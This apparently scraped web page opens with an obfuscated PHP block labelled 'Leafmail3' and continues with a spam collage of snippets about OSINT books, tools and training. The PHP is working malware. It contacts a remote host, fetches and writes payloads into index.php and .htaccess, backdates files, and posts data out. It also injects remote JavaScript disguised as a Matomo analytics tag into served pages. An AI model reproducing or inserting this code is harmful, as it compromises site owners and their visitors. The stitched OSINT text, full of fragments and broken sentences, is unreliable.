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<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
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<p>Open source intelligence osint techniques.  New (2022) 9th Edition contains many updated techniques, scripts, and tools! It is time to look at OSINT in a different way.  Widely used by government agencies, military Apr 29, 2024 · OSINT Tools are a key part of any information gathering process, especially when it comes to cybersecurity intelligence.  Jul 23, 2024 · Open Source Intelligence (OSINT) is a method of gathering information from public or other open sources, which can be used by security experts, national intelligence agencies, or cybercriminals.  Basic Information Age, gender, ethnicity, nationality, spoken Mar 12, 2024 · Hashtags, location filters, reverse image searches, Google Dorks, archive services &ndash; using these advanced open-source intelligence (OSINT) techniques have become the bread and butter of today&rsquo;s OSINT investigators.  In this article, we will learn about open-source intelligence and explore the array of OSINT tools currently accessible in the market.  &bull; Develop a curriculum of OSINT research, analysis, and production courses, leveraging existing IC and private sector offerings.  Therefore, to protect the legality of using OSINT tools and techniques, OPSEC is a necessary enforcer. 2.  During the majority of that time, he was assigned to the FBI&rsquo;s Cyber Crimes Task Force where he focused on various online investigations and open source intelligence (OSINT) collection.  It reflects the changing intelligence needs of our clients in both the public and private sector, as well as the many areas we have been active in over the past two years.  Discover the best Open-Source Intelligence (OSINT) tools, techniques, and valuable resources.  We offer two unique live courses which are presented by various instructors, all of which were personally trained by Michael Bazzell.  Mar 15, 2023 · The volume of data generated by today&rsquo;s digitally connected world is enormous, and a significant portion of it is publicly available.  These data sources are web archives, public databases, and social networks such as Facebook, Twitter, LinkedIn, Emails, Telegrams, etc.  Click HERE to begin your training today.  In this article, we are going to go over some of the most common and handy Google dorks for open source intelligence (OSINT) investigations.  Brand-new search methods for Facebook, Instagram, LinkedIn, YouTube, and others ensure you have the latest techniques within your online investigation arsenal.  These techniques encompass a diverse spectrum of meticulously crafted methods, each tailored to gather, analyze, and interpret data with precision and Aug 8, 2023 · This article presents an in-depth exploration of Open Source Intelligence (OSINT) tools, OSINT Framework, and OSINT techniques, offering a comprehensive guide for practitioners seeking to harness&hellip; This paper has tried to incorporate the findings from previous research related to OSINT (open-source intelligence) tools and techniques.  Open-source intelligence (OSINT) extracts information from a collection of publicly available and accessible data.  The following is a list of helpful, time-saving open-source intelligence tools.  In this book, he shares his methods in great detail.  Closing Thoughts.  This handbook provides a comprehensive guide to OSINT, its techniques, tools, and methodologies.  Welcome to OSINT Techniques The key to internet research is following the digital bread crumbs that people leave behind online. &rdquo; OSINT Types Sep 2, 2022 · If you&rsquo;re serious about learning more about OSINT, &ldquo;Open Source Intelligence Techniques&rdquo; is an essential read.  Open Source Intelligence (OSINT) is a formidable tool for finding valuable information.  Feb 29, 2024 · In the realm of cybersecurity and intelligence, mastering Open Source Intelligence (OSINT) techniques is essential for staying ahead of the rapidly evolving digital landscape.  Some common OSINT techniques include: Search Engines: Utilize search engines like Google, Bing, and Yahoo to gather OSINT by employing advanced search operators to quickly filter and refine search results.  To further understand and enhance progress in OSINT research, we have formulated five Research Questions (RQs) based on a comprehensive review of OSINT tools, techniques, and their applications.  Additionally, the terms data The GIAC Open Source Intelligence (GOSI) certification confirms that practitioners have a strong foundation in OSINT methodologies and frameworks and are well-versed in data collection, reporting, and analyzing targets.  OSINT Tools and Techniques A Comprehensive Guide on Open Source Intelligence Tools and Techniques.  Find the tips, tools and shortcuts to improve your research.  Jul 14, 2024 · Open Source Intelligence (OSINT) involves the process of collecting, analyzing, and utilizing information from publicly available sources.  It allows users to collect, visualize, and analyze data from various sources, including social media, the deep SANS provides comprehensive training, certification, and resources for Open Source Intelligence (OSINT) techniques, empowering analysts with the skills and tools necessary to collect and analyze publicly available information to support investigations, critical decision-making, and improve overall security posture.  Feb 28, 2022 · Open source intelligence (OSINT) is the act of gathering and analyzing publicly available data for intelligence purposes.  OSINT is the practice of collecting information from publicly available sources.  Resources for Open Source Intelligence and Social Media Investigations.  Intelligence Research II&mdash;Open Source Intelligence (OSINT) Tools &amp; Techniques (On-Demand Module Overview) This foundational course teaches students to identify and develop pivot points or leads in investigations across multiple use cases.  Reflecting their importance, the global open source intelligence market, valued at $5.  Open-source intelligence (OSINT) techniques are invaluable to threat intelligence investigations.  OSINT can Jul 10, 2023 · Open-source intelligence (OSINT) encompasses various techniques for collecting and analyzing publicly available information.  OSINT is a military intelligence term, and remains Nov 24, 2021 · Open Source Intelligence (OSINT) has gained importance in more fields of application than just in intelligence agencies.  Governments have long used newspapers, and later broadcasts, to track potential adversaries&rsquo; military, political, or economic plans and activities.  OSINT tools can be categorized into different types, including data collection tools, social media monitoring tools, digital footprint analysis tools .  However, penetration testers can also use OSINT to protect organizations.  What is Open Source Intelligence (OSINT)? OSINT, or Open Source Intelligence, refers to the practice of collecting information from publicly available sources to be used in an intelligence context.  Founded in January 2019 by Hugo Benoist ( HuGe ) and Sylvain HAJRI ( navlys_ ), OSINT-FR is a French non-profit organization that gather profiles of all nationalities and professions with OSINT as a common Mar 25, 2024 · Among these, All-Source Intelligence (ASINT) and Open Source Intelligence (OSINT) stand out due to their distinct methodologies, tools, and ethical dimensions.  &bull; Establish guidelines to distinguish between OSINT and open source research.  Open Source Intelligence Techniques and OSINT Tools May 1, 2024 · List of Open Source Intelligence Tools. 7% from 2020 to 2026.  Jan 1, 2021 · Michael Bazzell investigated computer crimes on behalf of the government for over 20 years.  Note that most of the resources are free, although some have advanced features for a fee.  Here are some common OSINT techniques: Search Engines: Search engines such as Google, Bing, and Yahoo are valuable tools for gathering OSINT.  Sep 21, 2023 · Open Source Intelligence (OSINT) is a field dedicated to collecting and analyzing publicly available information from various sources to obtain valuable intelligence and insights.  Mar 30, 2022 · In many instances, malicious hackers attack a company using publicly available information: open-source intelligence, often referred to as OSINT.  Oct 25, 2019 · Completely rewritten 7th edition contains over 550 pages and 30 chapters! It is time to look at OSINT in a different way.  3.  OSINT sources can include: Newspaper and magazine articles, as well as media reports Books such as Michael Bazzell's Open Source Intelligence Techniques serve as indices to resources across multiple domains but according the author, due to the rapidly changing information landscape, some tools and techniques change or become obsolete frequently, hence it is imperative for 